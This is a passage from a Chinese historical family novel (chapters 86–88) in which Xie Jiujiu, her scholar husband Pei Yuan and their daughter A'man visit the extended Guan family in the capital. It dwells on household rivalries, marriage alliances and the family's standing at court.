当时关宁业不在京城,听说是锦衣卫有什么公务出京去了。这次见到了,才明白为何当时关如璋只要一提到自己这个二儿子就没个好气。 关宁业长得标致,或许是近年来一直习武,身板子要比裴元更壮实些。猿背蜂腰眉目俊朗,平日进出又都穿着锦衣卫才着的曳撒麒麟服,着实是个俊俏儿郎。 但他说话未免太气人了些,明知道要过年了,明知道老太太舍不得孙子,还非要拿这事来戳关如璋的肺管子,这不是找挨骂是什么。 “好好一个人,非要入什么锦衣卫。咱们关家的门风都叫你个孽障带累了,严学士当年待你如子侄,你倒好,一言不发就弃了科举,人家把你关在门外怎么了,你还不服气了!” “我没不服啊,人家不让我进,我不就老实在外头等着了,等到天黑才回来难道还不成,非得我跪着求人家让我进门,那样就好看了?!” 越是知道不该吵,父子两个就越是争执得厉害。好在裴元也算见过世面的人,以前在府学的时候自己为了文章跟章世铮吵得天翻地覆的时候也不是没有。 他看得出来关宁业和关如璋这父子两个之间虽吵得凶,但绝不可能闹翻。 他也如同坐在一旁看戏的关如琅一样,就这么稳稳当当的看着他们吵。 等两人吵完了,又续上之前说到一半的事情,商量过年前裴元到底先去哪位大人府上拜见才好,仿佛之前的争吵从未有过。 前院书房里男人们凑在一堆,好不好说的都是前程。后院颐寿堂中女人们聚在一起,说的都是男人和家中事务。 屋里除了冯氏和杨氏这两个长辈,还有冯氏的两个儿媳妇。 大奶奶金氏是个气质极好容貌平平的女子,看上去有个三十大几的岁数,身边还坐着个十来岁的姑娘,张口唤她做母亲。 二奶奶小冯氏五官明艳大气,动作之间颇有一番风流韵态。来之前裴元就跟谢九九说过,这个小冯氏是冯氏的侄女,也是岭南冯家嫡出的姑娘。 当年冯氏嫁给关如璋,是两家各有倚仗各取所需。后来小冯氏嫁给关宁业,则是冯家以当年在岭南助关家站稳脚跟的恩,跟关家联姻成了更加亲近的姻亲。 冯氏带着两个媳妇和孙女坐在对面,自己这一边坐在关令仪另一侧的则是杨氏,和一个长得虎头虎脑七八岁上下的小男孩儿。 谢九九记得他,那年关如琅去容县,喝醉了酒拉着关令仪嘀咕家里的事,说得最多的就是当时刚启蒙一年就气走了好几个先生的儿子:关继业。 关如琅这几年一直在詹事府当官,翰林院侍讲的官职虽还兼着,但被圣上宣召进宫的时候已经不多了,更多的时候还是在东宫给太子讲学。 太子五年前出阁参与政事,关如琅与其说是给太子讲学,倒不如说做的是太子的参谋。 不过如今圣上正当壮年,即便太子的东宫稳如泰山,底下的文武百官也暂时起不了不该起的心思。 这么一来关如琅这几年的心思起码有一大半都放在小儿子身上,顽劣不堪把老师气走了是不是?那就关大人自己上。 书背不下来就读,十遍不成就读一百遍,一百遍还不行就二百、三百,总之背会了为止。字写得不好也是同样的法子,总之只要关继业书读得不好,他这个当爹的就跟他死磕。 从小就聪慧过人的关大人觉得这世上不可能有真的读书不开窍的人,没开窍肯定是因为没用心,为了儿子读书的事,杨氏这个想来温言细语的二奶奶,都不知道跟关如琅吵过多少回了。 今天关继业本来还得读书,压根没时间过来。还是老太太亲自发话,让身边的嬷嬷亲自去前院书房才把人接了来。 论辈分谢九九算是他的表嫂,论年纪关继业也就比阿满大四岁。或许是真的不用读书就高兴得不得了,关继业见庞氏把阿满搂过去亲近,他也笑嘻嘻的凑过去,直围着阿满打转。 “我娘说表哥表嫂是从南边一路过来的,你这么小小一团,难道也是跟着我表哥表嫂千里迢迢才到京城的?” “是啊,我们先坐船,又上了岸,之后又坐船又坐马车,坐到我都穿袄子了才到这里。” 阿满说不清自己走了多远的路,她只记得自己坐船又坐马车的,“京城跟我家不一样,我家冬天没这么冷也不会下这么大的雪,你们这里太冷了,不好玩儿。” “可、可……”关继业没想到阿满会这么说,一下子就着急了,“可下雪也好玩儿的,可以堆雪人打雪仗,这几天我两个侄儿病了,不敢让他们出门,等他们病好了,我们带你出去滑冰。” 关继业读书虽不行,说起玩儿来那可是一套一套的。他外祖杨家祖上是侯爵,虽传到杨氏父亲这一辈儿爵位到头了,但府里的大小还保留着世家底蕴。 每次关如琅压着儿子读书读得太狠了,杨氏就差人去娘家,让娘家母亲派人来把儿子接走,去外祖家松快几日。 但外祖家再好,也不如自己家好。都要过年了,关继业不想去外祖家里更不想读书,最好的法子还是哄着阿满这个新来的外甥。 她刚到京城,要是她说想玩儿,自己这个当小舅舅的难道不陪着?这不就能名正言顺不读书了! 关继业只是读书一道不太行,别的方面机灵得很。可惜他这点小机灵别说一屋子大人,就是阿满都发现了。 连连摇头;“我家里也有个舅舅,他也读书。他读书都要读到过年前两天才休息,你这个舅舅怎么一说就是带我去玩儿,我不用你带我玩儿,我家里有人陪我呢。” 阿满从记事起,就被隔三差五抱到云客来去。见的人多了,说话就也像个小大人。她这会儿牵着关继业的一只手,说的话却叫人涨红了脸。 偏阿满说完又冲他笑,随手拿过一块玫瑰糕问他这糕子味道这么好,是拿什么做的。弄得臊红了脸的关继业生气都生不起来,还转身把装点心的攒盒捧过来,一样一样跟阿满说。 “这孩子聪慧,咱们家这么多孩子数她最聪明。元哥儿媳妇,这么聪明的姑娘可不能耽误了,在家的时候你和元哥儿可曾给她找先生启蒙 了?” “回老太太的话,还不曾呢。之前商量过,可一想先生请回来没多久就得来京城,就干脆再等等。” 谢家办了个私塾,时间长了就知道请先生也得掐着时间。谁家的西席都是年初就请回去,没什么大问题一请便是一年。这一年谢家和自己多少事,请了先生正经上课的时候也不多。 “县城里要找个能放心的女先生是不容易,好在一家子如今都团聚了,等过完年再慢慢寻摸。这事到时候交给你大嫂子去办,她认识的人多。” “劳烦老太太费心了。” 谢九九起身给庞氏道了个万福,又转过身冲冯氏福了福身子,却没明说这事需不需要冯氏和关家来办。 亲戚嘛,人情之间有来有往便是亲戚,但要是家里什么事这老太太都要插一手,那就有些不大好办了。 人老成精,庞氏都七十多的人了,如何看不出来谢九九对自己是尽量尊着却算不上亲近。她也不多计较这些,只说府里已经把颐寿堂后头的停云斋收拾出来,今晚上说什么都要留下。 晚间的酒席摆在颐寿堂里,一直等到要开席的时候裴元才跟着两个舅舅往后面来。 庞氏见到裴元可比见到谢九九和阿满要激动多了,难为裴元这么瘦瘦高高的人,被老太太拉着坐到身旁,心肝肉的揉搓了好一通才把人放开。 谢九九抱着阿满坐在关令仪身边远远看着,没觉得祖孙情深多么感动,心里想的只有裴元这般塌着腰弓着背,也不知道这个姿势难受不难受。 倒是阿满一直看着她爹,来之前谢九九就嘱咐过女儿,来了关府有什么不明白的,只要娘在身边就小声的问娘,人多不好问的时候就把问题记着,等只有爹和娘的时候再仔细的问。 现在她看着她爹被老太太这般起腻,就觉得她爹肯定不舒服。所以也不管之前娘跟她叮嘱过的话,踮着脚从椅子上蹦下来就往庞氏那边去。 庞氏还以为曾外孙女是来找自己,手都朝阿满这边伸了过来。却不想小家伙是来找爹爹的,抬手扯住裴元的袍角要抱。 第86章 第86章喜欢漂亮的 “阿爹,抱抱。” 小孩子是很容易习惯一件事的,以前裴元在府学读书,阿满一个月见一次她爹,从来不觉得怎么样。 这半年除了裴元入考场考试那几天,阿满天天都能见着她爹,来京城这一路在船上更是裴元带着孩子的时候比谢九九还要更多一些。 今儿一进关家的门,裴元就去了前院,大半天没见着亲爹的阿满委屈大了。 前一瞬还抱着裴元的大腿要抱,等裴元真把这丫头抱起来,她又拧着身子扭着屁股,摆出一副恨不得从他怀里挣出去的样子,看得一屋子的大人都觉得好笑。 “阿满不是要爹爹,爹爹都抱着阿满了,阿满怎么还不高兴。” 说话的是关如琅,整个府里除了关令仪就属他跟裴元和谢九九最熟络。或许是当年跟谢九九打交道还在自家外甥之前,这会儿虽是第一次见阿满,却没由来地觉得亲近。 “可是阿满有大半天没见着爹爹了。” 谢阿满有个毛病,从小就有。喜欢漂亮的东西,花纹漂亮的衣裳,毛色漂亮的猫猫狗狗,还有就是模样漂亮的人。 一条巷子里一起住着的玩伴儿,阿满最喜欢的就是住在谢家斜对面,比她大了六七岁的芳姐儿。 那小姑娘家中是做些小买卖的,跟谢家也有些生意上的往来。 那家是十多年前才从镇上搬到容县来,家里又只有芳姐儿一个姑娘,有了些积蓄就总想着好好教养,等孩子大了给她找个顶顶好的人家。 为此,那家人给芳姐请了两个女先生。一个教识文断字琴棋书画,一个教规矩女红,总之才十来岁的小姑娘,有才情的名声就已经传言出去了。 不过确实怪不得一家子生了大志向,主要是那芳姐儿越长大越好看。才情容貌俱佳,家中这几年给她请先生也花了不少银钱,要是真就随随便便嫁了,恐怕一家子都不会甘心。 阿满年纪小,不管那些个大人心里想的什么。她只知道芳姐儿长得好看,她便要隔三差五地去人家家里找漂亮姐姐玩儿。 偏偏阿满又是那一条街里最没规矩,玩起来最野最疯的丫头。即便年纪还小,芳姐家里也不乐意阿满三天两头去找他家的姑娘玩。生怕让这小不点儿把自家姑娘给带坏了。 有一次谢九九去云客来,家中又没人陪她玩儿,她就拉着陈妈妈陪她去找芳姐儿。 人家家里有人,芳姐儿也在家。但人家家里经不住阿满这般闹腾又不好明说不让她去,就都不出声装作家里没人。 小阿满半点都不知道自己遭了别人的嫌,还把耳朵贴到门上自言自语:明明方才听见声音了,怎么这会儿又没人开门了。 还是江妈妈看不过眼,哄着阿满去街上买糖,这才没让阿满再坐在人家门口的台阶上,等着她的漂亮姐姐芳姐儿开门,带她去玩儿。 之后两人再碰上,被家里拦着没能开门的芳姐儿多少有些愧疚。反倒是阿满压根没把这事往心里放,拉着芳姐儿的手甩啊甩的,总之能让这小祖宗多看两眼漂亮姐姐,她就高兴了。 对芳姐儿如此,对虽然年近四旬但依旧儒雅俊朗的关如琅,阿满也一视同仁。 还被她爹抱着呢,就又伸手拉住关如琅的衣袖,一边抱怨大半日没见着她爹,一边问关如琅是哪个。 在知道他就是关继业这个小舅舅的爹之后,当即就把关继业这个刚认的小舅舅给卖了。说是不要关继业带她出去滑冰,非要关如琅带她去冰嬉。 听得坐在庞氏另外一侧的关继业抬手捂住自己的脸,自己那点儿不读书的小心思全被阿满漏给他亲爹了,这下可全完了。 “那可跟舅姥爷说定了,等过几日舅姥爷腾出空来了,就带阿满出门玩儿去。” “几日是几日?” 阿满搂着她爹的肩膀歪着头继续追问,是几日就是几日,这不能不说清楚。 “两日可行?” “行,那就这么说定了。” 阿满心满意足地点点头,人家跟关大人把什么都商量好了,这才转过头来问她爹,“过两天阿满跟舅姥爷出门玩去,爹爹要不要去。” 得,商量这么半天才想起来还有个爹,看着阿满一脸狡黠和骄矜,满脸都写着‘爹爹你快来哄我,哄高兴了我我就也带你出去玩儿’的样子,满屋子的人都笑了起来。 有这么个机灵又不怕生的小孩儿在,本来就热闹的接风宴就更加热闹了。 入席之后男女分了左右,中间置一屏风隔开,谢九九坐在女席这边,身边坐着大房的两个表嫂:金氏和小冯氏。 阿满有珍珠和关家的嬷嬷们看着,自去跟她小表舅关继业,和金氏所生的两个儿子川哥儿和林哥儿,小冯氏所生的女儿福姐儿同坐一桌小席,其中岁数最大的是长房的庶女关玉凤,由她看着几个小的。 “这京城的冬天虽冷得厉害,也着实有些好玩的地方。五老爷说要带阿满去冰嬉,到时候说不得我们也要跟着去松快松快,要不然真到了年根底下,就更加忙得腾不开手了。” 说话的是小冯氏,大太太冯氏是她的亲姑妈,只不过冯氏这个冯家女儿是庶出,她却是冯家正经的长房嫡女。 嫁到京城关家之前,小冯氏对未来颇有一番展望。谁知嫁过来之后,丈夫关宁业却弃了正经的科举仕途不走,反而入了锦衣卫。 锦衣卫建立初期,是专门为了保卫圣上安全,维护朝堂稳定。但时间一长,锦衣卫下又分出南镇抚司和北镇抚司,南镇抚司对内,北镇抚司对外。 尤其北镇抚司直接隶属于圣上,权力相对独立,即便是内阁、六部和大理寺也很难制衡他们,平时又专管皇帝钦定的大案要案,就连臭名昭著的昭狱也在他们手中。 近些年他们手里的权利有多大,名声自然就有多臭。关宁业如今的职位便是北镇抚司的副镇抚使,从五品的官职不算高,但手里的实权极大。 负责掌管昭狱的五个百户,有三个都由关宁业领着。他如今进出皇宫比关如琅还要频繁,就更不要提关如璋这个亲爹了。 恰恰因为这样,不管在府里还是府外,小冯 氏都显得有些力不从心。 府里的管家大权是在自己的婆婆也是自己的亲姑姑大太太手里,可帮着冯氏管家的一直都是嫂子金氏。 这两年颐寿堂的事很多都是关令仪管着,西院那边的事又有杨氏说了算,感情这个府里算来算去就只有自己这个长房的二奶奶说什么都不算。 府外呢,人家有多忌讳北镇抚司,就有多忌讳自己。出门交际谁跟自己看上去都熟络亲昵,但其实谁都不敢跟自己交心。生怕哪句话没说好,回头再被北镇抚司给盯上。 “天气这么冷,要我说还是猫在家里最舒服。这还没到过年,我老家那边怕是还没下第一场雪。小孩子皮得很,这会儿说着要出去玩儿,等到了要出门的时候再看,说不定又哭着不肯出去了。” 小冯氏是大房的儿媳妇,二房的老爷要带阿满出去玩儿,你非要跟着去当然可以,本来你们就才是一家人,自己不过是来做客的。 可要去就去,大不了差人跟杨氏说一声,何必露出想要去的意思,引着自己把邀她一起去的话说出来。谁知道你们家背地里还有什么复杂关系扯不清,自己干嘛掺和进来。 打定主意不掺和的谢九九,死活不接小冯氏的话。她说冰嬉谢九九就感慨京城真的冷,她说过年忙谢九九就一个劲的问过年怎么忙。 要是说到孩子身上,那谢九九就更有说不完的话。说着说着关令仪这个当祖母的也凑过来听,至于小冯氏到底想干嘛,就真的没人在意了。 “怎么样,今天在老太太那里还行?有没有人难为你和阿满。” “才第一次见面,谈不上为难不为难,就是说些客气话热闹着,大舅母能干小舅母端庄,两个表嫂说什么都捧着我,能有什么不好的。” 裴元比谢九九晚回来,吃过晚饭他就又被关如琅带去他那边的前院书房去了,而自己自然又陪着老太太说了好一会儿的话,才回来。 关家对自己没什么不周到的地方,要说不好,唯一的不好可能就是谢九九觉得关家对自己热情得有些过分,老太太也有种非要把自家一家三口接进府里来住的念头太重。 “我也不是那等没个自知之明的人,你说咱们到底有个什么稀罕的,关家非要把咱们拉拢了。” 裴元是解元,可也仅仅才是个解元。两京十三省,光是今年乡试就有十五个解元。 每省的解元比起别的举人考中会试的机会当然大很多,但也不是说每个解元就一定能中进士。 再把往年没中进士的解元加起来,明年春闱光是要考试的解元,起码也有二三十个。真就那么稀罕吗,倒是也未必吧。 “这个府里看着煊赫峥嵘,但两个舅舅都觉得家里有些青黄不接。子侄总比学生靠得住,我没本事便罢,如今眼看我就差临门一脚了,哪能不在意。” 关家是在圣上和东宫跟前都挂了号的人家,关家在外流落多年的女儿生的儿子考中解元,说不定自己的名声现在就已经传言开了。 之后只要能考中进士,等到了殿试的时候,自己的名次应该不会低。 自己是关家的外甥,到时候也能被关家托举成下一代的中流砥柱。世家本就是这么一代一代往下传的,只要自己能在京城站住脚跟,不用太长时间,十来年? 只要等到关继业或是关家大房两个孙子辈儿成长起来,这家里的传承不就又续上了嘛。 关如璋二子一女,长子关平业比裴元年长十岁,眼下在苏州府府衙任同知。据说他是六年前放的外任,六年里除了回京述职,就只有去年老太太大寿,他赶回来了一趟。 京官和地方官即便是同品级,两者之间也一向不好一概而论。 关平业不到四十的年纪就做了同知,在寻常人眼里日后肯定是官运亨通,但在京城这些大户人家看来,他这条路走得还是曲折了些。 而且要么不外放为官,出去了想回来就不容易,哪怕你爹是关如璋也一样。人家背后就没人了?谁家还没几个比上不足比下有余的少爷公子呢。 关宁业就不用说了,当初他入了锦衣卫,哪怕他日后当上锦衣卫指挥使,对于关家这个时代清流的家族来说,也不是多么露脸的事。 至于关继业,这不关如琅还在跟他死磕来着,什么时候能开窍还说不好。这么一扒拉,是不是自己这个等同于没有父族的外甥,是眼下最好的选择。 关家是那苍天大树,裴元就是刚抽出嫩芽来的枝条。关家要借裴元的本事继续存活下去谋以后,裴元更要借关家的势,才能在往后越发艰难才能出头的朝廷里站稳脚跟。 第87章 第87章裴元:我委屈吗 春儿已经带着阿满睡觉去了,珍珠回娘家去了。她没跟关杰成亲之前本就是老太太跟前的三等丫鬟,也是关家的家生子。 之前跟着关杰去了城西的宅子,裴元和谢九九没到之前他们忙着收拾宅子,他们到了又忙着帮这些人安置下来。 家里缺了什么少了什么,都是他们夫妻带着曹勇他们出门采买。 作为连身契都给了裴元和谢九九的奴仆,他们必须得尽快融入到这个家里,那么跟曹勇高义几人把关系处好,自然也成了重中之重。 况且眼下潘掌柜他们还都在家里住着,这些人都是跟着谢九九来京城闯天下的,他们跟谢九九的关系是东家和干活的。虽要尊着东家些,却绝不能把他们当奴仆看待。 为此关杰还专门去问过他大哥关文,跟这些人该如何打交道。 关文琢磨半天,想说如何对待府里那些管着铺子的管事就如何对待他们,可转念一想,外头的管事和掌柜不还是关家的奴仆,也不对啊。 所以,从关家送来的两房奴仆该怎么在谢家适应下来,这段时间他们也不好过。 或许他们的态度里偶尔还带着‘关家’与生俱来的傲气,但事情他们办了,来关府之前,家里那边厨房里该留下多少米面菜肉,都是关杰赶着车带着人出去买来的。 谢九九对此看在眼里,等晚上在停云斋安顿好以后,谢九九就主动让珍珠回家去一趟看看爹娘兄弟,只要明天早上回来别误了事就行。 春儿和珍珠都不在,原本被安排在停云斋里伺候的丫鬟们更加不可能留在屋里伺候。 谢九九和裴元都不是离不了人伺候的主儿,这会儿屋里就他们俩,才方便说话呢。 晚上的席面挺好,可那就不是个吃饭的地方。谢九九让丫鬟去厨房端了个羊肉锅子回来当宵夜,一个锅子一壶酒,再加上火室里种出来的小白菜,这就算很丰盛的夜宵了。 刚到京城的时候谢九九还不习惯,哪怕云客来也做鱼头火锅,也没有天天吃锅子的吧,人都快要被锅子腌入味儿了。 可到了京城不吃也得吃,尤其关家这样的大户人家,停云斋里又没有小厨房,即便有,自己一个上门做客的客人,难道还能自己天天开火?那也太不像话了。 不能自己开火,吃的就只能去厨房那边拿。听珍珠说关府的厨房分里外,前院有个外厨房后院有个内厨房。 即便是内厨房比外厨房近很多,可这一路过来要都是些现炒的菜,恐怕都冷得见油星子了。也就锅子和炖菜最合适,这大冷的天吃这个也正好暖身子。 停云斋后面临着关家的大花园,花园里有个人工开凿的湖,谢九九还来不及去看,就傍晚那会儿来停云斋换衣裳的时候瞟了一眼。 这么大冷的天,虽说因为是在府里水没结冰,但临着水的地方势必就要比别的地方冷,整个停云 斋的地底下都跟颐寿堂一样,通铺着地龙,正院几间房更是还有火墙和火炕。 冷是冷不着的,正屋西边的暖阁里挨着窗边还有一铺小炕,炕上铺着锦缎的褥子,四周有三边围合做成罗汉床的样式,中间放着炕几。 城西宅子里的暖阁中也有这样的炕榻,刚住下那两天谢九九是真不习惯坐炕上。 两天过后就真香了,这会儿脱了绣鞋盘腿跟裴元对坐,一边等着锅子烧开吃羊肉,一边跟他说起今天在颐寿堂的事。 “今天在老太太那儿热闹了一天,数大嫂话最少。我看大舅母对她这个媳妇的态度算不上多亲近,既如此她干嘛不跟着她丈夫去任上,一个人带着孩子留在府里有什么意思。” “金家的老爷子去年致仕回乡了,金家一共五个房头,有三个都跟着金老爷子回老家去了。留在京城的是两个旁支,跟大舅母关系并不亲近。” 大家士族一不小心就是绵延百多年,这么多年的时间有时候碰上改朝换代也不是什么稀奇的事,有起有伏就更正常了。 金家老爷子据说原本特别有希望入内阁,内阁的配置一向是五个大学士,除了一个首辅之外还有次辅和末辅。 金老爷子当时已经在工部尚书的位子上待了好些年头,人人都笃定只要当时的内阁有一个大学士致仕告老,补进内阁的一定是金老爷子。 谁知金老大人不得圣上的心,宁愿一直强留着快八十高龄的次辅也不肯让人把位置腾出来。 金老爷子活了这么大岁数什么看不明白,自己要留肯定也能留,但继续当着工部尚书等着入内阁,从根子上说这就是在跟圣上较劲儿。 这世上有些强不能要,金老大人下了狠心辞官,带着本枝三房人都回了老家。金氏的父亲本来在吏部为官,也被金老爷子找关系塞到南边做知府去了。 金老爷子这么知情识趣,圣上一高兴就给他赏了个光禄大夫。 然后紧跟着就准了次辅辞官告老的奏本,隔了没两天又亲自点了当年他自己的老师补了工部尚书的官职,三个月之后帝师入阁,补上内阁的缺。 这一套动作下来,傻子也知道圣上对金老大人这个工部尚书不算满意。可到底是世家到底是老臣,当皇上的也不能寒了臣子的心。 所以帝师入阁之后,虽还是工部尚书,但工部的事情大多都是关如璋这个左侍郎在管着。 现在外面的人又都在说,关如璋也就是还年轻,等过几年帝师致仕告老,工部尚书的位置肯定是要让关侍郎补上去的,到时候入阁岂不是名正言顺的事。 看着挺名正言顺的,但自己的亲家天天在老家陪着他亲爹整天遛鸟斗鸡,关如璋心里能没数吗。这世上没有什么名正言顺的事情,想得太多最后尴尬难堪的,必定是自己。 对于前途二字,关如璋从不敢有一丝大意。而关如璋对于金家而言,就如同裴元眼下对于关家的意义。金家没人在京城在朝堂上站着,唯一能指望的是关如璋这个姻亲。 关平业不是个惊才绝艳的人,他在任上稳扎稳打,或许外任的时间长些,但只要不出错就总有回京城的一天。到时候以他的出身和资历,六部里当个郎中甚至侍郎不成问题。 金氏是跟着丈夫去任上过逍遥日子,还是守在府里伺候好公婆养好儿子,帮着婆母把府里管好,做好她的大奶奶之余,再帮着娘家时刻关注着京城里的动向,她做出了她的选择。 “这可真够复杂的,这些家族都是联络有亲,你拉着我我扯着你的,谁家出了谁一大帮子人都跟着心里哆嗦。” 怪不得那些戏台上一唱就说皇帝老爷要株连九族,不株连怎么办?这家的公子是那家的姑爷,这家的小姐又是那家的管家娘子。 这不仅仅是圣上和某一个臣子之间的事,这是君权和读书人之间的博弈。 读书人,人人都想着学得文武艺货与帝王家,可也得看看帝王能给出什么样的价码来。 要是得不到自己想要的,可就怨不得这些勋贵世家清流,以门生故吏、姻缘结亲等等手段,来给自己和家族谋求后路。 “说了这么多,怎么还不把最想问的问出来,今晚上不问可睡得着。” 谢九九再是觉得自己对关家的态度已经平和下来,早已经不紧张了,其实本能还是比她的心更诚实一些。 谢九九现在问关家的事问得有多仔细,心里对关家、京城、裴元的未来和仕途有多么操心和担忧。 这不是自己赚多少银子就能解决的问题,如何陪裴元走下去,怎么在京城这一滩浑水中挣扎出个人形来,谢九九得一点一点的学。 “等明年春闱之后,我们是自己在京城买宅子,还是……” “当然要买自家的宅子,想什么呢。” 裴元还以为谢九九要问的是今年过年是回家过还是在关家过,没想到她想得比自己更远。 裴元夹起正好烫熟的羊肉放到谢九九碗里,“参天大树再茂盛,枝枝蔓蔓再无依,不是同一颗种子上长出来的,就不可能勉强绑在一起不分你我。” “朝堂之上互相扶持本不错,可要我死心塌地做个关家人倒也不必。再说我是岳州容县的考生,我有师承有来处,读了这么多年的书,腰杆子还是要挺直些,对不对。” “可不就是这么个道理,我也是这么想的。咱们日后肯定少不了要母亲他们帮忙的时候,可你也不是没有回报回去的机会。便是我,我不是坐在家里吃干饭的,对不对。” 谢九九一听裴元这话就高兴了,她倒不是强求谁入赘谁嫁人,她就是打心底里不愿意裴元真的为了前途把自己委屈成这样。 虽然这话说出去怕是要遭人打嘴,虽然这个委屈外边多的是人愿意来受。可人性就这么自私,别人干点什么谢九九都能挑刺,自己的丈夫得了再多,也总觉得这人还是受委屈了。 “对、对对,娘子说的什么都对。” 裴元执壶替谢九九把酒倒上,两人一口酒一口肉的吃了个痛快。过后便再也不提这事,未来的前途好与不好,总之两人一起往下走便是了,再不好又能差到哪里去! 有了这样的心态,谢九九隔天再去颐寿堂,整个人就显得更加自如从容了许多。 连带一直不算亲近的庞氏,也被她哄得开了私库,挑了一套绝美的珍珠头面,还要一再嘱咐过年一定就戴这套头面。 关如琅是个说话算话 的大人,谢阿满是个记性很好的孩子。这两人碰到一起的结果,便是三日后的清晨,裴元刚把女儿从东厢房的床上捞起来,就听见院子里的丫鬟给五老爷请安。 “谁,是不是五舅爷来了。”其实按着裴元入赘谢九九的道理来说,律令中就明确规定了‘从妻居,子孙从母姓’,关令仪这边才是‘外亲’。 但因着谢九九已经从谢家分出来了,两人之间的感情又好,谢九九便不愿在这件事非要压裴元一头。谢阿满叫关令仪一直都跟黄娟一样,都是祖母。 前几天在颐寿堂的接风席上,也不知道是谁教的阿满,祖母曾祖母叫得好好的,轮到关如璋关如琅那里就成了舅姥爷。 两人都是在官场摸爬滚打多年的人精,舅爷和舅姥爷之间的区别,别看就那么一点儿,可内里代表的意思就多了去了。 所以今儿过来听见阿满又改了口叫舅爷,关如琅脸上的笑意立马就更深了些。也不管这会儿时辰还早得很,从裴元手里把小肉团子接过来,就往外走。 “我先带阿满去老太太那边请安吃早饭,你们俩收拾妥当了赶紧过来。” “昨天下午严学士府上送了请帖来,今天你跟着你大舅舅去严府。元哥儿媳妇今天跟咱们阿满一起去杨家冰嬉,别老在家待着,谢大娘子可不能叫咱们家关傻了。” 第88章 第88章滤镜全没了 关如琅要带谢阿满去杨府赴宴冰嬉的事,不过一个早上的时间就在府里传开了。 在谢九九看来这本不是大事,但对于内宅女眷和从小养在府里的少爷小姐们来说,就多了些别的意味。 关平业在任上回来都难,关平业是个不着家的,一年到头大半年都在北镇抚司的衙门里待着,府里就两个老爷平时也是公务要紧。 现在谢阿满作为亲戚家的小姐,突然被五老爷这般喜爱,总有人私底下要嘀咕两句。 就好比得着这消息的小冯氏,便忍不住撇撇嘴,小声自言自语了一句:不过是个亲戚家的小丫头片子,如何稀罕成这样,倒把正经的侄孙女都比下去了。 只有本来就知道今天要回娘家的杨氏最平静,坐在梳妆台前点点头,表示这事她知道了。 关如琅和杨氏除了关继业这个儿子之外,前头还生了两个女儿。 大女儿宝珠四年前出嫁,就嫁在京城里。夫家姓孔,就是孔圣人的那个孔。他家只是旁支中的旁支,但近些年在京城也算是排得上号的人物。 大女儿的公爹如今在国子监当祭酒,孔家的后人总管国子监事务,给天下的举人监生们授业教课,再便是圣上偶尔召见去宫里给皇帝讲经。 这样的身份这样的官职,多么清贵多么风雅。 风雅清贵之余,孔祭酒的门生故吏更是遍布天下,毕竟从国子监考出去的进士,和补到各处为官的监生太多了,那么多人提起师承来,又怎么会漏下孔府后人孔祭酒。 这样的人家,是关如琅能给女儿找得到的最好的人家。 可这世上就没有什么十全十美的事情,嫁过去了关宝珠和关如琅夫妻才发现这孔家的规矩特别大,大得有些吓人。 关宝珠的丈夫孔文远四年前在翰林院为检讨,从七品的官。去年升任编修,正七品的官。 作为女婿,正经进士出身的孔文远模样好性情好才情也好,每次来关家见关如琅和杨氏,都是十二分的恭敬。 来了还要单独给老太太请安,每次去颐寿堂都不空着手。专门让人去城南城北买来的点心匣子,市面上正时兴的熏香布料,拿来的东西不见得多贵重,但都是他个做女婿、孙女婿的心意。 跟关宝珠成亲之后,夫妻之间的关系也一直不错。嫁过去还不到一年关宝珠就怀孕生了个儿子,今年又生了个女儿,丈夫体贴儿女双全,不知道羡煞京城多少女子。 可内里的苦,只有关宝珠自己最清楚。 孔家的规矩大,大到关宝珠进门四年,每天早上都还要早起去婆母院子里站规矩。早上要先伺候婆婆洗漱吃饭,过后才能赶紧回自己的院子吃饭。 中午晚上也是一样,晨昏定省一日不能落。关宝珠这四年,除了回娘家的时候就没吃过一顿安生饭。 在关家,媳妇伺候婆婆吃饭,也就是过年过节或是什么大日子的时候表示一下,夹个菜盛碗汤意思到了就行,谁也不会真的让儿媳妇从头站着伺候到尾。 关宝珠在家里这么些年哪里受过这种委屈,嫁过去之后各种不习惯,行动坐卧间的规矩大得吓人不说,就连自己和丈夫的小院子里,也有专门的嬷嬷和管事,负责看着主子们的一言一行。 一日三餐该什么时候吃,什么时候吃完,什么时节该吃什么菜不该吃什么菜。每一季做新衣裳,什么身份什么年纪该挑什么样的花色,孔家都有个框框摆在那里。 要是有什么做得不好的地方,那管事的嬷嬷就可以当场指出来,你若不改隔天这事就得告到自家婆母跟前去,孔家的家规总有办法叫你改。 要说虐待肯定不至于,关宝珠每月的例钱都有十两银子。而关家媳妇奶奶们一个月也就六两,没出嫁的姑娘才二两银子。 但光有银子有什么用,当着主子奶奶却依旧连吃什么穿什么用什么都没个自由,其他的事情再好也就不那么好了。 起初关宝珠每次回娘家,都要跟杨氏说起这些不习惯。后来时间长了她便不怎么说了,现在只要杨氏不问关宝珠是多一个字都不说的。 回了娘家就只当时逃出那个笼子松快几日,等回去了又能靠着回味这几天多高兴一会儿。 今年关宝珠刚生了女儿坐完月子,按理说这都年底了孔府的事情又多又杂,她作为长房的儿媳妇,即便上面还有两个嫂子也绝腾不出时间回娘家。 但谁让今年裴元和谢九九来了,作为姻亲孔家当然也知道关家有裴元这么个身份拿不出手,学识却很拿得出手的外甥。 他们一边看不上裴元,一边又嘱咐孔文远多准备些东西陪着关宝珠回了关家。有关家当靠山,裴元的前程简直是肉眼可见的好,日后孔文远跟他说不定还是同僚,眼下自然要把关系处好。 “既回来了,就多住几日。今天你爹要带着阿满和你弟弟回你外祖父家,你也一起去松快松快。” “娘,二妹过完年就要出门子了,不如我就留在家里陪着她。” “福慧也去,谁也不用留下。你看着吧,等会儿老太太那里必定不止一个人想要跟着一起去,你和福慧又何必留在家里,多没意思。” 杨氏虽温婉娴静,却也不是脑筋古板的人。看着大女儿这个样子,她心里全是说不出的心疼。要不是看在女婿还有个人模样的份上,她早就想把女儿从孔家给接回来了。 “凡事自有定数,非人力所能及。”在关宝珠见母亲蹙眉只得赶紧劝慰,自己的日子是不好过,可整个孔府的日子都是这么过的。 ‘孔圣人后代’这个名头困住的不止是自己,还有整个孔家所有人,即便是自己的丈夫自己每日都要去伺候的婆婆,亦或是还不懂事还不知道什么是规矩的儿女,都一样。 女儿都把这样的话说出来了,杨氏又还能说什么。摆摆手再不提这等叫人扫兴的事,起身牵着女儿出门往颐寿堂去。 哪怕关宝珠都已经是两个孩子的娘了,在杨氏这里她依旧是需要自己庇护的孩子,跟谢九九眼里的阿满没有什么不一样。 杨氏带着关宝珠到颐寿堂的时候,谢九九正在看热闹。 第一个找来的是领着两个儿子过来的金氏,金氏跟关平业成亲五年之后才生了长子关川,之后又过了六年才得了次子关林。 